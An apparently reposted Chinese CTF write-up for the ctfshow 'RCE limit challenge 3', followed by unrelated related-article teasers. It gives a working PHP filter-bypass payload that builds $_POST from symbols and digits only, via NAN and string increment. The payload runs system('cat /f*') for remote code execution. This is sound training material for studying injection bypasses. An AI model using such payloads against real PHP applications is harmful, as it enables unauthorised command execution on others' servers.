ctfshow 每周大挑战 RCE极限挑战3

news2024/12/23 10:21:52

目录

    • 题目源码
    • 1 跑一下正则
    • 2 分析解题用什么payload
    • 3 构造payload
      • 如何获取字母N
      • 构造出_POST及其他拼接内容
      • POST传参
    • 4 完整解题payload

题目源码

题目源码

1 跑一下正则

<?php
for($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
		echo chr($i)." ";
	}
}
?>

结果:
找出没被过滤的字符
没被过滤的字符是:

$ ( ) + , . / 0 1 ; = [ ] _

2 分析解题用什么payload

挑战3相对于挑战2的区别主要在于两点,一是放出了数字0和1,同时,单引号被过滤了;二是对POST接收的参数ctf_show有了长度限制<=105
先回顾一下在挑战2中,我用的POST参数是:

ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.++$_;$_=_.$_;$$_[_]($$_[__]);

这个payload有157那么长,想要缩短到105以内好像不太现实,然后去看了其他师傅的wp,才知道原来这里不能再构造GET啦,而是要构造POST。
直觉上可能会觉得GET比POST短会用更少字符,但实际上,N可以通过类似于获取A的方法那样直接获得,而从N之后OPST都有,且离得近,因此POST更容易用更少的字符得到。[1]
[1]参考博客:

https://blog.csdn.net/qq_61955196/article/details/127932968?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127932968%22%2C%22source%22%3A%22qq_38798840%22%7D&fromshare=blogdetail

[1]后来发现这段话可能最初是出自官方wp,贴个地址:

https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah

3 构造payload

如何获取字母N

类比挑战2中,通过利用php中[]的默认值是Array,再连接一个_构造出Array_,再取下标[0]获得A的思路,在挑战3中,通过执行0/0得到NAN,再连接一个_构造出NAN_,再取下标[0]获得N

$_=(0/0)._; //NAN_
$_=$_[0]; //N

忽略报错信息即可,可见这样可以得到N:
得到字母N

构造出_POST及其他拼接内容

有了N,接下来就用变量自增获得O、P、S、T再拼接_和其他符号构造可以接收POST参数并能执行函数(关于为什么这么说,可以看挑战2的wp末尾)的$_POST[0]($_POST[1]);即可。
先自己尝试写一下:

<?php
$_=(0/0)._;     //NaN_
$_=$_[0];       //N
$__=++$_;       //$__=O
$__=++$_.$__;   //$__=PO
$_++;$_++;      //Q、R
$__=$__.++$_;   //$__=POS
$__=$__.++$_;   //$__=POST
$_=_.$__;       //$_=_POST
echo $_;
?>

写完执行试一下,忽略报错信息,可见这样可以得到_POST
获得_POST
再拼接出$_POST[0]($_POST[1]);

$$_[0]($$_[1]);

不要漏掉分号 不要漏掉分号 不要漏掉分号

POST传参

因为是POST方式所以继续在后面给出参数0和1的值,例如:
&0=system&1=ls /
在HackBar执行了一下居然回显了根目录文件,看来长度也符合要求咯,看了一下不包含传参0和1的部分,payload长度为102

4 完整解题payload

最终payload:

ctf_show=$_=(0/0)._;$_=$_[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__=$__.++$_;$__=$__.++$_;$_=_.$__;$$_[0]($$_[1]);&0=system&1=cat /f*

列出根目录文件:
回显出根目录文件
回显flag:
回显flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/584407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

接口测试工具Postman接口测试图文教程

目录 一、前言 二、Postman安装和使用 三、请求方式 四、资金记录接口实例演示 一、前言 在前后端分离开发时&#xff0c;后端工作人员完成系统接口开发后&#xff0c;需要与前端人员对接&#xff0c;测试调试接口&#xff0c;验证接口的正确性可用性。而这要求前端开发进…

公网使用 SSH远程连接安卓手机 Termux -Android 手机服务器

文章目录 1.安装ssh2.安装cpolar内网穿透3.远程ssh连接配置4.公网远程连接5.固定远程连接地址 转载自cpolar极点云的文章&#xff1a;公网SSH远程连接Termux – 电脑使用安卓Termux 「无需公网IP」 使用安卓机跑东西的时候&#xff0c;屏幕太小&#xff0c;有时候操作不习惯。不…

增强型本地文件搜索工具:Find Any File

Find Any File是mac上一款增强型本地文件搜索工具&#xff0c;可以让你在本地磁盘上搜索、查找任何文件&#xff0c;包括本地磁盘的名称、 创建或修改日期、 大小或类型和创建者代码等。小编现为大家提供最新Find Any File Mac破解版&#xff0c;欢迎需要的朋友下载使用。 Find…

I/O 端口

概述 I/O 端口的主要功能特性&#xff1a; ⚫ GPIO 引脚最高耐5.5V 电压 ⚫ GPIO 数字输入具有施密特特性 ⚫ 部分GPIO 输入支持模拟滤波 ⚫ 部分GPIO 输入支持数字滤波 ⚫ GPIO 可配置为上拉、开漏输出 ⚫ 低功耗模式下保持状态 PAD 结构 GPIO&#xff0c;输入输出使能&#…

sqlserver获取每天最接近整点的一条数据

思路&#xff1a;要取到整点数据&#xff0c;首先想到了是利用数据里面的时间整点部分进行分组&#xff0c;通过时间正序&#xff0c;取到分钟第一条数据就行了 1&#xff0c;简单的group by 做法就比较复杂了&#xff0c;复杂的分组做法都采用了partition by 分区函数处理&a…

开源2.4g遥控小飞机控制板

原理图 主控 6轴IMU 2.4G通信 电机驱动 特性 主控采用STM32F103CBT6&#xff0c;外设资源比较丰富&#xff0c;国产替代也很容易。红绿双色LED&#xff0c;GPIO控制&#xff0c;可用来提示程序运行状态。1个复位按键&#xff0c;1个用户按键可以用作输入。SWD&UART调试接…

学校机房如何监控?手把手教你操作

随着现代科学技术的不断发展&#xff0c;特别是现代建筑技术、现代通讯技术、现代控制技术、现代仪器仪表技术和现代计算机技术的不断更新、发展、完善和整合&#xff0c;计算机机房智能化的趋势日益明显。 学校机房常见4大安全隐患 01.电气安全隐患 电源电流异常、市电环境不…

常见的DNS攻击类型与应对措施盘点(中科三方)

DNS解析是互联网中一项非常重要的功能&#xff0c;是用户访问网站的关键环节&#xff0c;我们日常工作生活使用网络都伴随着大量的DNS服务做支撑。DNS将用户容易记忆输入的域名指向可由计算机直接识别的IP地址&#xff0c;是确保用户通过域名访问网站&#xff0c;维持网络空间正…

电脑一直自检无法开机怎么办?

电脑一直自检无法开机是指电脑自检程序一直处于检查中无法进入系统&#xff0c;从而导致电脑无法开机。在了解电脑一直自检无法开机之前&#xff0c;我们需要明白电脑自检程序检测的是什么。 电脑自检也称加电自检(POST&#xff0c;Power On Self Test)&#xff0c;电脑在接通电…

DVWA靶场的安装-超详细

一、安装phpstudy环境 phpstudy下载地址&#xff1b;小皮面板(phpstudy) - 让天下没有难配的服务器环境&#xff01; 二、下载DVWA包 VWA官网 http://www.dvwa.co.uk/ 下载DWVA压缩包DVWA-master.zip&#xff0c;很小只有1M多 三、安装DVWA 1、解压DVWA压缩到phpstudy/www&…

国产IC芯片自动化测试系统ATECLOUD,助力芯片测试自动化

IC芯片测试成本是影响制造和加工成本的重要因素。在某些情况下&#xff0c;测试成本可能占到器件总成本的40%左右。为了降低测试成本&#xff0c;可以优化测试程序并研发多工位测试。同时&#xff0c;必须平衡良品率和测试时间&#xff0c;以实现最佳的成本控制。本篇文章纳米软…

【JavaSE】Java基础语法(三十):HashMap与TreeMap

文章目录 1. HashMap1.1 HashMap集合概述和特点1.2 HashMap集合应用案例 2. TreeMap2.1 TreeMap集合概述和特点2.2 TreeMap集合应用案例一2.3 TreeMap集合应用案例二 3. 总结 1. HashMap 1.1 HashMap集合概述和特点 HashMap底层是哈希表结构的依赖hashCode方法和equals方法保…

Xline 持久化存储设计与实现

01、引言 在 Xline 早期的原型阶段&#xff0c;我们采用了基于内存的存储来实现数据的持久化。这虽然简化了 Xline 原型设计的复杂度&#xff0c;提高了项目的开发和迭代速度&#xff0c;但带来的影响也是显著的&#xff1a;由于数据都存储在内存当中&#xff0c;因此一旦当进…

TOOM舆情监控黑科技:AI破解人心,预测社会未来!

近年来&#xff0c;随着人工智能技术的快速发展&#xff0c;舆情监控正逐渐进入一个全新的时代。利用人工智能技术&#xff0c;舆情监控能够洞察人心&#xff0c;预测社会未来的走向&#xff0c;这项黑科技引发了广泛的关注和探讨。 舆情监控是通过对社会舆论的搜集、分析和评…

盛元广通生物样本库管理系统

生物样本库管理系统&#xff0c;作为一种高效、智能化的信息管理工具&#xff0c;在现代生物研究中扮演着重要的角色。随着科学技术的不断进步&#xff0c;生物样本的采集、保存和管理变得越来越重要&#xff0c;而盛元广通生物样本库管理系统正是为了解决这一问题而应运而生的…

无缝对接多语言:参数校验的终极指南(一)!

前言 在此之前&#xff0c;写过在两篇文章&#xff0c;是关于如何在 SpringBoot 内实现统一参数校验和自定义校验注解的。毕竟作为后端来讲&#xff0c;对于前端传来的数据&#xff0c;需要保持高度的警惕。避免出现异常数据&#xff0c;导致系统异常。统一参数校验和自定义校验…

现在的00后,真是卷死了呀,辞职信已经写好准备提交了·····

都说00后躺平了&#xff0c;但是有一说一&#xff0c;该卷的还是卷。这不&#xff0c;四月份春招我们公司来了个00后&#xff0c;工作没两年&#xff0c;跳槽到我们公司起薪22K&#xff0c;都快接近我了。 后来才知道人家是个卷王&#xff0c;从早干到晚就差搬张床到工位睡觉了…

自从用了 EasyExcel,导入导出 Excel 更简单了!

EasyExcel 在做excel导入导出的时候,发现项目中封装的工具类及其难用,于是去gitHub上找了一些相关的框架,最终选定了EasyExcel。之前早有听闻该框架&#xff0c;但是一直没有去了解&#xff0c;这次借此学习一波&#xff0c;提高以后的工作效率。 实际使用中&#xff0c;发现…

服了呀,00后怎么这么卷....

现在的小年轻真的卷得过分了。前段时间我们公司来了个00年的&#xff0c;工作没两年&#xff0c;跳槽到我们公司起薪18K&#xff0c;都快接近我了。后来才知道人家是个卷王&#xff0c;从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天&#xff0c;原来这位小老弟家里条…

FDA辅料数据库-在线查询网址

在药物的制剂研发过程中&#xff0c;辅料是不可或缺的。然而&#xff0c;在使用辅料时需要明确其安全使用量&#xff0c;这并非易事。因此&#xff0c;美国FDA 辅料数据库&#xff08;IID&#xff09;成为了一个重要的参考标准&#xff0c;对于制剂开发提供了帮助。 如果研发人…